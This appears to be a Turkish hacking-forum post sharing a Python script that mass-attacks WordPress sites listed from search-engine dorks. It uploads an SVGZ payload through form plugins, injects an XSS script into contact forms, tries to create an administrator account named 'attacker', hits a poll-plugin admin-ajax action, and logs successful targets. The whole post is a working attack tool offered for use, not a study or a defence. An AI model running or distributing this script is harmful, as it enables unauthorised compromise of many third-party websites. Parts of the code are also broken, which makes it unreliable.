- 26 Kas 2023
- 161
- 96
Test edilenler: XSS, FILE UPLOAD, PRIVILEGE ESCALATION
Bir teşekkürü çok görmeyin.
Python:
import requests
from colorama import Fore
print(Fore.GREEN +"""______6_____________6______
_____66_____________66_____
___6666_____________6666___
__66666_____________66666__
_666666_____666_____666666_
6666666_____666_____6666666
666666666666666666666666666
666666666666666666666666666
6666666_____666_____6666666
_666666_____666_____666666_
__66666_____666_____66666__
___6666_____666_____6666___
_____66_____666_____66_____
______6_____666_____6______
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
____________666____________
___________66666___________
___________66666___________
___________66666___________""")
print(Fore.YELLOW + "DORKLARDAN ALDIĞINIZ URLLERİ YAZACAKSINIZ BİR DOSYAYA!!")
def istek(url, yol, diger_veriler):
try:
with open(yol, 'rb') as dosya:
dosya_dict = {'dosya': (yol, dosya, 'text/plain')}
response = requests.post(url, files=dosya_dict, data=diger_veriler)
if response.status_code == 200:
print(Fore.WHITE + "Başarılı İstek!")
with open("success.txt", "a") as success_file:
success_file.write(f"{url}\n")
else:
print("Başarısız!")
except Exception as e:
print("Hata!", e)
yol = input(Fore.WHITE +"Dosya Yolu: ")
with open(yol, 'r') as dosya:
hedef_siteler = dosya.read().splitlines()
dosya_adi = input("SVGZ Payload Dosya Adı: ")
with open(dosya_adi, 'rb') as dosya:
dosya_verisi = dosya.read()
diger_veriler = {
'test': 'test',
'submitConfirm': 'Confirm',
'mw_wp_form_token': '5cb9cceb4e',
'mw-wp-form-form-id': '12',
'mw-wp-form-form-verify-token': '942abbcfe7f25999258f96003ee29e11c0dfb92b'
}
for site in hedef_siteler:
response = requests.post(site, files={'file': dosya_verisi}, data=diger_veriler)
if response.status_code == 200:
print(f"Dosya başarıyla {site} adresine yüklendi.")
with open("success.txt", "a") as success_file:
success_file.write(f"{site}\n")
else:
print(f"{site} adresine dosya yüklenirken bir hata oluştu.")
payload = {
"action": "save_contact_form",
"fields": {
"your-name": "<script>alert('XSS')</script>",
"your-email": "[email protected]",
"your-message": "HELLO"
}
}
for site in hedef_siteler:
response = requests.post(site, data=payload)
if response.status_code == 200:
print("XSS payload successfully injected for:", site)
with open("success.txt", "a") as success_file:
success_file.write(f"{site} (XSS)\n")
else:
print("Injection failed for:", site)
yetki_payload = {
"form_id": "registration_form",
"form_fields": {
"username": "attacker",
"password": "123456",
"email": "[email protected]",
"role": "administrator"
}
}
for site in hedef_siteler:
response = requests.post(site, data=yetki_payload)
if response.status_code == 200:
print("Privilege escalation payload successfully executed for:", site)
with open("success.txt", "a") as success_file:
success_file.write(f"{site} (Yetki Yükseltme)\n")
else:
print("Privilege escalation failed for:", site)
zafiyetli_yol = "/wp-admin/admin-ajax.php"
zafiyetli_diger_veriler = {
'action': 'ays_poll_maker_quick_start',
'payload': 'data'
}
istek(hedef_siteler + zafiyetli_yol, dosya_adi, zafiyetli_diger_veriler)
Bir teşekkürü çok görmeyin.